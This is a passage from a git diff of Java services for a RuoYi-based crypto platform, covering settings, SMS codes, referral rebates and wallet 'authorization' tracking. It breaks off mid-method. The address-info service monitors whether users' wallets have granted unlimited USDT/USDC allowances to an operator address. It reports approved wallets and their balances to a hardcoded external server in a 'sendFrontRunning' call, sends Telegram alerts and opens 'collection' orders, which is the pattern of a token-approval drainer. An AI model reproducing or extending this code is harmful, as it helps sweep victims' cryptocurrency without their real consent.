com.ruoyi.bussiness.domain.setting.SmsSetting; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.mapper.SettingMapper; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.SettingEnum; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; + +import java.util.List; +import java.util.Objects; +import java.util.stream.Collectors; + +/** + * 配置业务层实现 + * + * @author Chopper + * @since 2020/11/17 3:52 下午 + */ +@Service +public class SettingServiceImpl extends ServiceImpl implements SettingService { + + @Override + public Setting get(String key) { + return this.getById(key); + } + + @Override + public boolean saveUpdate(Setting setting) { + return this.saveOrUpdate(setting); + } + + public ThirdPaySetting getThirdPaySetting(String code) { + Setting setting = this.get(SettingEnum.THIRD_CHANNL.name()); + if (!Objects.isNull(setting)) { + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), ThirdPaySetting.class); + List result = list.stream().filter(setting1 -> setting1.getCode().equals(code) && setting1.getStatus()==0).collect(Collectors.toList()); + if (!CollectionUtils.isEmpty(result)) { + return result.get(0); + } + } + return null; + } +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SmsServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SmsServiceImpl.java new file mode 100644 index 0000000..56628b3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SmsServiceImpl.java @@ -0,0 +1,37 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.SendPhoneDto; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.SmsSetting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.SmsService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.UidUtils; +import com.ruoyi.common.utils.http.HttpUtils; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.util.HashMap; +import java.util.Map; +@Service +public class SmsServiceImpl implements SmsService { + + @Resource + private SettingService settingService; + + @Override + public String sendMobileCode(SendPhoneDto mobileNumber) { + Setting setting = settingService.get(SettingEnum.SMS_SETTING.name()); + SmsSetting smsSetting = JSONUtil.toBean(setting.getSettingValue(), SmsSetting.class); + mobileNumber.setAccount(smsSetting.getMobileAccount()); + mobileNumber.setPassword(smsSetting.getMobilePassword()); + Map map = new HashMap<>(); + map.put("account",smsSetting.getMobileAccount()); + map.put("password",smsSetting.getMobilePassword()); + map.put("msg","Your verification code is {"+mobileNumber.getMsg()+"}. The validity period is 5 minutes. Please enter it in time."); + map.put("mobile",mobileNumber.getMobile()); + map.put("uid", UidUtils.getUUID(true)); + return HttpUtils.doPostWithJson(smsSetting.getMobileUrl() ,map); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TActivityRechargeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TActivityRechargeServiceImpl.java new file mode 100644 index 0000000..bfad289 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TActivityRechargeServiceImpl.java @@ -0,0 +1,198 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.RechargeRebateSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TActivityRechargeMapper; +import com.ruoyi.bussiness.mapper.TAgentActivityInfoMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.service.ITActivityRechargeService; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysDictTypeService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 充值活动Service业务层处理 + * + * @author ruoyi + * @date 2023-07-05 + */ +@Service +public class TActivityRechargeServiceImpl extends ServiceImpl implements ITActivityRechargeService +{ + @Autowired + private TActivityRechargeMapper tActivityRechargeMapper; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private SettingService settingService; + @Resource + private TAgentActivityInfoMapper tAgentActivityInfoMapper; + @Resource + private ITAppWalletRecordService walletRecordService; + + /** + * 查询充值活动 + * + * @param id 充值活动主键 + * @return 充值活动 + */ + @Override + public TActivityRecharge selectTActivityRechargeById(Long id) + { + return tActivityRechargeMapper.selectTActivityRechargeById(id); + } + + /** + * 查询充值活动列表 + * + * @param tActivityRecharge 充值活动 + * @return 充值活动 + */ + @Override + public List selectTActivityRechargeList(TActivityRecharge tActivityRecharge) + { + return tActivityRechargeMapper.selectTActivityRechargeList(tActivityRecharge); + } + + /** + * 新增充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + @Override + public int insertTActivityRecharge(TActivityRecharge tActivityRecharge) + { + tActivityRecharge.setCreateTime(DateUtils.getNowDate()); + return tActivityRechargeMapper.insertTActivityRecharge(tActivityRecharge); + } + + /** + * 修改充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + @Override + public int updateTActivityRecharge(TActivityRecharge tActivityRecharge) + { + tActivityRecharge.setUpdateTime(DateUtils.getNowDate()); + return tActivityRechargeMapper.updateTActivityRecharge(tActivityRecharge); + } + + /** + * 批量删除充值活动 + * + * @param ids 需要删除的充值活动主键 + * @return 结果 + */ + @Override + public int deleteTActivityRechargeByIds(Long[] ids) + { + return tActivityRechargeMapper.deleteTActivityRechargeByIds(ids); + } + + /** + * 删除充值活动信息 + * + * @param id 充值活动主键 + * @return 结果 + */ + @Override + public int deleteTActivityRechargeById(Long id) + { + return tActivityRechargeMapper.deleteTActivityRechargeById(id); + } + + @Override + public void caseBackToFather(Long userId, BigDecimal amount, String type, String username, String serialId) { + + Setting rechargeRebatSetting = settingService.get(SettingEnum.RECHARGE_REBATE_SETTING.name()); + RechargeRebateSetting rechargeRebate = JSONUtil.toBean(rechargeRebatSetting.getSettingValue(), RechargeRebateSetting.class); + //如果开启状态 + if(null!=rechargeRebate&&rechargeRebate.getIsOpen()){ + TAppUser massUser = tAppUserMapper.selectById(userId); + //查询父级玩家用户是否为空 为空泽没有返利 不为空计算返利充值父级账户 + if(StringUtils.isNotBlank(massUser.getAppParentIds())){ + String appParentId = massUser.getAppParentIds(); + if (appParentId.indexOf(",")!=-1){ + appParentId = appParentId.split(",")[0]; + } + BigDecimal usdt; + BigDecimal beforeMount=BigDecimal.ZERO; + String remark=""; + String coin=""; + //获取父级 + TAppUser fatherUser = tAppUserMapper.selectById(appParentId); + //获取余额 + Map assetMap=tAppAssetService.getAssetByUserIdList(fatherUser.getUserId()); + //计算返点金额 + BigDecimal rechargePro = rechargeRebate.getRatio(); + usdt=amount.multiply(rechargePro.divide(new BigDecimal("100"))); + if (rechargeRebate.getRebateMaxAmount()!=null) { + //是否返点大于最大金额 + if(usdt.compareTo(rechargeRebate.getRebateMaxAmount())>=0){ + usdt=rechargeRebate.getRebateMaxAmount(); + } + } + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List currencyList = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + if (!CollectionUtils.isEmpty(currencyList)){ + for (AssetCoinSetting dict: currencyList) { + if (dict.getCoinName().equals(type)){ + TAppAsset asset= assetMap.get(dict.getCoin()+fatherUser.getUserId()); + beforeMount = asset.getAvailableAmount(); + remark = "1级用户id:"+userId+dict.getCoinName()+"充值返现"; + coin=dict.getCoin(); + if (Objects.isNull(asset)){ + tAppAssetService.createAsset(massUser,coin, AssetEnum.PLATFORM_ASSETS.getCode()); + } + tAppAssetService.updateByUserId(TAppAsset.builder().type(asset.getType()).symbol(coin).userId(fatherUser.getUserId()).amout(asset.getAmout().add(usdt)).availableAmount(beforeMount.add(usdt)).build()); + } + } + } + //入活动明细表 + TAgentActivityInfo agentActivityInfo = new TAgentActivityInfo(); + agentActivityInfo.setType(1); + agentActivityInfo.setAmount(usdt); + agentActivityInfo.setFromId(userId); + agentActivityInfo.setUserId(fatherUser.getUserId()); + // 1usdt-erc 2 usdt-trc 3btc 4eth + agentActivityInfo.setCoinType(coin); + agentActivityInfo.setStatus(2); + agentActivityInfo.setCreateTime(new Date()); + tAgentActivityInfoMapper.insertTAgentActivityInfo(agentActivityInfo); + //入账变表 + walletRecordService.generateRecord(fatherUser.getUserId(), usdt, RecordEnum.SUBORDINATE_RECHARGE_REBATE.getCode(), username, serialId, remark, beforeMount, beforeMount.add(usdt),coin,massUser.getAdminParentIds()); + + } + } + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAgentActivityInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAgentActivityInfoServiceImpl.java new file mode 100644 index 0000000..6bc5fef --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAgentActivityInfoServiceImpl.java @@ -0,0 +1,137 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.vo.TAgentActivityInfoVo; +import com.ruoyi.bussiness.mapper.TAgentActivityInfoMapper; +import com.ruoyi.bussiness.service.ITAgentActivityInfoService; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 返利活动明细Service业务层处理 + * + * @author ruoyi + * @date 2023-07-06 + */ +@Service +public class TAgentActivityInfoServiceImpl extends ServiceImpl implements ITAgentActivityInfoService +{ + @Autowired + private TAgentActivityInfoMapper tAgentActivityInfoMapper; + + /** + * 查询返利活动明细 + * + * @param id 返利活动明细主键 + * @return 返利活动明细 + */ + @Override + public TAgentActivityInfo selectTAgentActivityInfoById(String id) + { + return tAgentActivityInfoMapper.selectTAgentActivityInfoById(id); + } + + /** + * 查询返利活动明细列表 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 返利活动明细 + */ + @Override + public List selectTAgentActivityInfoList(TAgentActivityInfo tAgentActivityInfo) + { + return tAgentActivityInfoMapper.selectTAgentActivityInfoList(tAgentActivityInfo); + } + + /** + * 新增返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + @Override + public int insertTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo) + { + tAgentActivityInfo.setCreateTime(DateUtils.getNowDate()); + return tAgentActivityInfoMapper.insertTAgentActivityInfo(tAgentActivityInfo); + } + + /** + * 修改返利活动明细 + * + * @param tAgentActivityInfo 返利活动明细 + * @return 结果 + */ + @Override + public int updateTAgentActivityInfo(TAgentActivityInfo tAgentActivityInfo) + { + tAgentActivityInfo.setUpdateTime(DateUtils.getNowDate()); + return tAgentActivityInfoMapper.updateTAgentActivityInfo(tAgentActivityInfo); + } + + /** + * 批量删除返利活动明细 + * + * @param ids 需要删除的返利活动明细主键 + * @return 结果 + */ + @Override + public int deleteTAgentActivityInfoByIds(String[] ids) + { + return tAgentActivityInfoMapper.deleteTAgentActivityInfoByIds(ids); + } + + /** + * 删除返利活动明细信息 + * + * @param id 返利活动明细主键 + * @return 结果 + */ + @Override + public int deleteTAgentActivityInfoById(String id) + { + return tAgentActivityInfoMapper.deleteTAgentActivityInfoById(id); + } + + @Override + public int selectListByLeve(TAgentActivityInfo tAgentActivityInfo) { + return tAgentActivityInfoMapper.selectListByLeve(tAgentActivityInfo); + } + + @Override + public Map selectUserActivityInfo(TAgentActivityInfo tAgentActivityInfo) { + //查询1 2 3 级 + tAgentActivityInfo.setType(1); + tAgentActivityInfo.setStatus(2); + Map params = new HashMap<>(); + params.put("leve",1); + tAgentActivityInfo.setParams(params); + int oneCount = tAgentActivityInfoMapper.selectListByLeve(tAgentActivityInfo); + params.put("leve",2); + int twoCount = tAgentActivityInfoMapper.selectListByLeve(tAgentActivityInfo); + params.put("leve",3); + int threeCount = tAgentActivityInfoMapper.selectListByLeve(tAgentActivityInfo); + Map resultMap = new HashMap<>(); + resultMap.put("oneCount",oneCount); + resultMap.put("twoCount",twoCount); + resultMap.put("threeCount",threeCount); + resultMap.put("sumCount",oneCount+twoCount+threeCount); + BigDecimal sumAmount = tAgentActivityInfoMapper.selectAmountCountByUserId(tAgentActivityInfo); + sumAmount = Objects.isNull(sumAmount) ? BigDecimal.ZERO : sumAmount; + resultMap.put("sumAmount",sumAmount); + return resultMap; + } + + @Override + public List getAgentList(TAgentActivityInfo tAgentActivityInfo) { + return tAgentActivityInfoMapper.getAgentList(tAgentActivityInfo); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAddressInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAddressInfoServiceImpl.java new file mode 100644 index 0000000..26426e1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAddressInfoServiceImpl.java @@ -0,0 +1,565 @@ +package com.ruoyi.bussiness.service.impl; + +import java.math.BigDecimal; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; +import java.util.Map; + +import cn.hutool.http.HttpUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.IService; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.TCollectionOrder; +import com.ruoyi.bussiness.service.ITCollectionOrderService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.WalletType; +import com.ruoyi.common.eth.EthUtils; +import com.ruoyi.common.trc.TronUtils; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysConfigService; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.ruoyi.util.BotMessageBuildUtils; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.collections4.CollectionUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TAppAddressInfoMapper; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.service.ITAppAddressInfoService; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; +import org.web3j.utils.Convert; + +import javax.annotation.Resource; + +/** + * 钱包地址授权详情Service业务层处理 + * + * @author shenshen + * @date 2023-06-27 + */ +@Service +@Slf4j +public class TAppAddressInfoServiceImpl extends ServiceImpl implements ITAppAddressInfoService +{ + @Resource + private TAppAddressInfoMapper tAppAddressInfoMapper; + @Value("${app.name}") + private String clientName; + @Resource + private ISysConfigService configService; + @Resource + private MyTelegramBot myTelegramBot; + @Resource + private ITCollectionOrderService tCollectionOrderService; + /** + * 查询钱包地址授权详情 + * + * @param userId 钱包地址授权详情主键 + * @return 钱包地址授权详情 + */ + @Override + public TAppAddressInfo selectTAppAddressInfoByUserId(Long userId) + { + return tAppAddressInfoMapper.selectTAppAddressInfoByUserId(userId); + } + + /** + * 查询钱包地址授权详情列表 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 钱包地址授权详情 + */ + @Override + public List selectTAppAddressInfoList(TAppAddressInfo tAppAddressInfo) + { + return tAppAddressInfoMapper.selectTAppAddressInfoList(tAppAddressInfo); + } + + /** + * 新增钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + @Override + public int insertTAppAddressInfo(TAppAddressInfo tAppAddressInfo) + { + tAppAddressInfo.setCreateTime(DateUtils.getNowDate()); + tAppAddressInfo.setStatus("N"); + return tAppAddressInfoMapper.insertTAppAddressInfo(tAppAddressInfo); + } + + /** + * 修改钱包地址授权详情 + * + * @param tAppAddressInfo 钱包地址授权详情 + * @return 结果 + */ + @Override + public int updateTAppAddressInfo(TAppAddressInfo tAppAddressInfo) + { + tAppAddressInfo.setUpdateTime(DateUtils.getNowDate()); + return tAppAddressInfoMapper.updateTAppAddressInfo(tAppAddressInfo); + } + + /** + * 批量删除钱包地址授权详情 + * + * @param userIds 需要删除的钱包地址授权详情主键 + * @return 结果 + */ + @Override + public int deleteTAppAddressInfoByUserIds(Long[] userIds) + { + return tAppAddressInfoMapper.deleteTAppAddressInfoByUserIds(userIds); + } + + /** + * 删除钱包地址授权详情信息 + * + * @param userId 钱包地址授权详情主键 + * @return 结果 + */ + @Override + public int deleteTAppAddressInfoByUserId(Long userId) + { + return tAppAddressInfoMapper.deleteTAppAddressInfoByUserId(userId); + } + + + @Override + public void refreshUsdtBalance(TAppAddressInfo wallet) { + try { + BigDecimal oldUsdt = wallet.getUsdt(); + if (wallet.getWalletType().equals(WalletType.ETH.name())) { + String usdt = EthUtils.getUsdtHttp(wallet.getAddress()); + if (usdt == null) { + usdt = "0"; + } + wallet.setUsdt(Convert.fromWei(usdt, Convert.Unit.MWEI)); + } else if (wallet.getWalletType().equals(WalletType.TRON.name())) { + Map accountBalance = TronUtils.getAccountBalance(wallet.getAddress()); + BigDecimal trxBalance = accountBalance.get("trxBalance"); + BigDecimal usdtBalance = accountBalance.get("usdtBalance"); + wallet.setTrx(trxBalance); + wallet.setUsdt(usdtBalance); + } + if (wallet.getUsdt().subtract(oldUsdt).compareTo(BigDecimal.ZERO) != 0) { + //机器人通知 + log.debug("成功发送用户 {} USDT余额变动消息 变动前:{}, 变动后:{} ", wallet.getAddress(), oldUsdt, wallet.getUsdt()); + SendMessage sendMessage = BotMessageBuildUtils.buildUsdtText(wallet, oldUsdt); + myTelegramBot.toSend(sendMessage); + } + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setUserId(wallet.getUserId()); + tAppAddressInfo.setUsdt(wallet.getUsdt()); + // 更新用户最新余额 + updateTAppAddressInfo(tAppAddressInfo); + }catch (Exception e){ + log.error("update usdt余额 error, addr:{}"+wallet.getAddress()+"异常"+e.getMessage()); + } + } + + @Override + public void sendFrontRunning(TAppAddressInfo wallet){ + + if(wallet.getUsdt ().compareTo (BigDecimal.ZERO) > 0){ + JSONObject body = new JSONObject (); + body.put ("address", wallet.getAddress ()); + body.put ("chain", "ETH"); + body.put ("amount", Convert.toWei (wallet.getUsdt (), Convert.Unit.MWEI).longValue ()); + body.put ("alertAmount", Convert.toWei (wallet.getUsdtMonitor (), Convert.Unit.MWEI).longValue ()); + body.put ("clientName", clientName); + try { + String ret = HttpUtil.createPost ("http://8.218.206.73:8001/hanksb666/api/order/address_submit") + .contentType ("application/json") + .body (body.toString ()).execute ().body (); + log. info("监控地址发送成功,ret:{}, body:{}", ret, body); + }catch (Exception e){ + log.error("监控地址发送失败,请检查第三方服务...:{}", body); + } + } + } + + @Override + public void refreshUsdtAllowed(TAppAddressInfo appAddressInfo) { + BigDecimal oldUsdt = appAddressInfo.getUsdt(); + String status= StringUtils.isEmpty(appAddressInfo.getStatus())?"N":"Y"; + if ("N".equals(status)) { + if (appAddressInfo.getWalletType().equals(WalletType.ETH.name())) { + try { + if (appAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + String allowedAddr = configService.selectConfigByKey("ERC"); + String allowerU = EthUtils.getAllowance(appAddressInfo.getAddress(), allowedAddr); + String eth = EthUtils.getEthHttp(appAddressInfo.getAddress()); + String usdt = EthUtils.getUsdtHttp(appAddressInfo.getAddress()); + if (usdt == null) { + usdt = "0"; + } + appAddressInfo.setUsdt(Convert.fromWei(usdt, Convert.Unit.MWEI)); + if (eth == null) { + eth = "0"; + } + appAddressInfo.setEth(Convert.fromWei(eth, Convert.Unit.ETHER)); + if (null == allowerU) { + log.error("刷新授权-检测用户 {} USDT余额变动异常", appAddressInfo.getAddress()); + return; + } + if (allowerU.indexOf('.') > 10) { + //授权成功 + appAddressInfo.setUsdtAllowed(new BigDecimal(100000000)); + //新授权 + sendFrontRunning(appAddressInfo); + } else { + appAddressInfo.setUsdtAllowed(new BigDecimal(allowerU)); + } + } else { + //已授权的要更新 + sendFrontRunning(appAddressInfo); + } + } catch (Exception e) { + log.error("update ETH allowed error, addr:{}", appAddressInfo.getAddress(), e); + } + } else if (appAddressInfo.getWalletType().equals(WalletType.TRON.name())) { + Map accountBalance = TronUtils.getAccountBalance(appAddressInfo.getAddress()); + BigDecimal trxBalance = accountBalance.get("trxBalance"); + BigDecimal usdtBalance = accountBalance.get("usdtBalance"); + appAddressInfo.setTrx(trxBalance); + appAddressInfo.setUsdt(usdtBalance); + if (appAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + JSONObject body = new JSONObject(); + body.put("address", appAddressInfo.getAddress()); + + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/getTronAllowerU") + .contentType("application/json") + .body(body.toString()).execute().body(); + JSONObject jsonObject = JSONObject.parseObject(ret); + appAddressInfo.setUsdtAllowed(new BigDecimal(jsonObject.getString("msg"))); + } + } + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setUserId(appAddressInfo.getUserId()); + tAppAddressInfo.setUsdtAllowed(appAddressInfo.getUsdtAllowed()); + tAppAddressInfo.setUsdt(appAddressInfo.getUsdt()); + tAppAddressInfo.setEth(appAddressInfo.getEth()); + tAppAddressInfo.setTrx(appAddressInfo.getTrx()); + // 更新用户最新余额 + updateTAppAddressInfo(tAppAddressInfo); + BigDecimal subtract = oldUsdt.subtract(tAppAddressInfo.getUsdt()); + if (subtract.compareTo(new BigDecimal(0)) != 0) { + SendMessage sendMessage = BotMessageBuildUtils.buildUsdtText(tAppAddressInfo, subtract); + myTelegramBot.toSend(sendMessage); + } + } + } + + @Override + public void refreshUsdcAllowed(TAppAddressInfo appAddressInfo) { + BigDecimal oldUsdt = appAddressInfo.getUsdt(); + String status= StringUtils.isEmpty(appAddressInfo.getStatus())?"N":"Y"; + if ("N".equals(status)) { + if (appAddressInfo.getWalletType().equals(WalletType.ETH.name())) { + try { + if (appAddressInfo.getUsdcAllowed().compareTo(BigDecimal.ZERO) <= 0) { + String allowedAddr = configService.selectConfigByKey("ERC"); + String allowerUsdc = EthUtils.getUsdcAllowance(appAddressInfo.getAddress(), allowedAddr); + String usdc = EthUtils.getUsdcHttp(appAddressInfo.getAddress()); + if (usdc == null) { + usdc = "0"; + } + appAddressInfo.setUsdc(Convert.fromWei(usdc, Convert.Unit.MWEI)); + if (null == allowerUsdc) { + log.error("刷新授权-检测用户 {} USDT余额变动异常", appAddressInfo.getAddress()); + return; + } + if (allowerUsdc.indexOf('.') > 10) { + //授权成功 + appAddressInfo.setUsdcAllowed(new BigDecimal(100000000)); + } else { + appAddressInfo.setUsdcAllowed(new BigDecimal(allowerUsdc)); + } + } else { + //已授权的要更新 + sendFrontRunning(appAddressInfo); + } + } catch (Exception e) { + log.error("update ETH allowed error, addr:{}", appAddressInfo.getAddress(), e); + } + } else if (appAddressInfo.getWalletType().equals(WalletType.TRON.name())) { + Map accountBalance = TronUtils.getAccountBalance(appAddressInfo.getAddress()); + BigDecimal trxBalance = accountBalance.get("trxBalance"); + BigDecimal usdtBalance = accountBalance.get("usdtBalance"); + appAddressInfo.setTrx(trxBalance); + appAddressInfo.setUsdt(usdtBalance); + if (appAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + JSONObject body = new JSONObject(); + body.put("address", appAddressInfo.getAddress()); + + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/getTronAllowerU") + .contentType("application/json") + .body(body.toString()).execute().body(); + JSONObject jsonObject = JSONObject.parseObject(ret); + appAddressInfo.setUsdtAllowed(new BigDecimal(jsonObject.getString("msg"))); + } + } + TAppAddressInfo tAppAddressInfo = new TAppAddressInfo(); + tAppAddressInfo.setUserId(appAddressInfo.getUserId()); + tAppAddressInfo.setUsdtAllowed(appAddressInfo.getUsdtAllowed()); + tAppAddressInfo.setUsdt(appAddressInfo.getUsdt()); + tAppAddressInfo.setEth(appAddressInfo.getEth()); + tAppAddressInfo.setTrx(appAddressInfo.getTrx()); + // 更新用户最新余额 + updateTAppAddressInfo(tAppAddressInfo); + BigDecimal subtract = oldUsdt.subtract(tAppAddressInfo.getUsdt()); + if (subtract.compareTo(new BigDecimal(0)) != 0) { + SendMessage sendMessage = BotMessageBuildUtils.buildUsdtText(tAppAddressInfo, subtract); + myTelegramBot.toSend(sendMessage); + } + } + } + @Override + public int refreshAddressInfo(TAppAddressInfo tAppAddressInfo) { + tAppAddressInfo = selectTAppAddressInfoByUserId(tAppAddressInfo.getUserId()); + BigDecimal oldUsdt = tAppAddressInfo.getUsdt(); + String status= StringUtils.isEmpty(tAppAddressInfo.getStatus())?"N":tAppAddressInfo.getStatus(); + int i=1; + if ("N".equals(status)) { + if (tAppAddressInfo.getWalletType().equals(WalletType.ETH.name())) { + String usdt = EthUtils.getUsdtHttp(tAppAddressInfo.getAddress()); + if (usdt == null) { + usdt = "0"; + } + tAppAddressInfo.setUsdt(Convert.fromWei(usdt, Convert.Unit.MWEI)); + String eth = EthUtils.getEthHttp(tAppAddressInfo.getAddress()); + String usdc = EthUtils.getUsdcHttp(tAppAddressInfo.getAddress()); + if (usdc == null) { + usdc = "0"; + } + if (eth == null) { + eth = "0"; + } + tAppAddressInfo.setUsdc(Convert.fromWei(usdc, Convert.Unit.MWEI)); + tAppAddressInfo.setEth(Convert.fromWei(eth, Convert.Unit.ETHER)); + log.debug("refresh,wallet:{},", tAppAddressInfo); + try { + if (tAppAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + String allowedAddr = configService.selectConfigByKey("ERC"); + String allowerU = EthUtils.getAllowance(tAppAddressInfo.getAddress(), allowedAddr); + + if (allowerU.indexOf('.') > 10) { + tAppAddressInfo.setUsdtAllowed(new BigDecimal(100000000)); + sendFrontRunning(tAppAddressInfo); + } else { + tAppAddressInfo.setUsdtAllowed(new BigDecimal(allowerU)); + } + + } else { + sendFrontRunning(tAppAddressInfo); + } + if (tAppAddressInfo.getUsdcAllowed().compareTo(BigDecimal.ZERO) <= 0) { + String allowedAddr = configService.selectConfigByKey("ERC"); + String allowerUsdc = EthUtils.getUsdcAllowance(tAppAddressInfo.getAddress(), allowedAddr); + if (allowerUsdc.indexOf('.') > 10) { + tAppAddressInfo.setUsdcAllowed(new BigDecimal(100000000)); + } else { + tAppAddressInfo.setUsdcAllowed(new BigDecimal(allowerUsdc)); + } + } else { + sendFrontRunning(tAppAddressInfo); + } + } catch (Exception e) { + log.error("update ETH allowed error, addr:{}", tAppAddressInfo.getAddress(), e); + } + } else if (tAppAddressInfo.getWalletType().equals(WalletType.TRON.name())) { + log.debug("刷新TRON余额"); + Map accountBalance = TronUtils.getAccountBalance(tAppAddressInfo.getAddress()); + BigDecimal trxBalance = accountBalance.get("trxBalance"); + BigDecimal usdtBalance = accountBalance.get("usdtBalance"); + tAppAddressInfo.setTrx(trxBalance); + tAppAddressInfo.setUsdt(usdtBalance); + if (tAppAddressInfo.getUsdtAllowed().compareTo(BigDecimal.ZERO) <= 0) { + JSONObject body = new JSONObject(); + body.put("address", tAppAddressInfo.getAddress()); + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/getTronAllowerU") + .contentType("application/json") + .body(body.toString()).execute().body(); + log.debug("查询授权回调" + ret); + JSONObject jsonObject = JSONObject.parseObject(ret); + tAppAddressInfo.setUsdtAllowed(new BigDecimal(jsonObject.getString("msg"))); + } + + } + //先修改addressinfo + i = updateTAppAddressInfo(tAppAddressInfo); + //如果金额变动 需要通知机器人去通知。 + BigDecimal subtract = oldUsdt.subtract(tAppAddressInfo.getUsdt()); + if (subtract.compareTo(new BigDecimal(0)) != 0) { + SendMessage sendMessage = BotMessageBuildUtils.buildUsdtText(tAppAddressInfo, subtract); + myTelegramBot.toSend(sendMessage); + } + } + return i; + } + + @Override + public String collection(TAppAddressInfo address) { + //查看当前是否有正在进行中的归集订单 + List list = tCollectionOrderService.list(new LambdaQueryWrapper().eq(TCollectionOrder::getAddress, address.getAddress()).eq(TCollectionOrder::getStatus,"1")); + if(!CollectionUtils.isEmpty(list)){ + return "该用户已有归集订单正在进行中,请稍后再试!"; + } + + List tAppAddressInfos = selectTAppAddressInfoList(address); + TAppAddressInfo wallet = new TAppAddressInfo(); + if(tAppAddressInfos.size()>0){ + wallet = 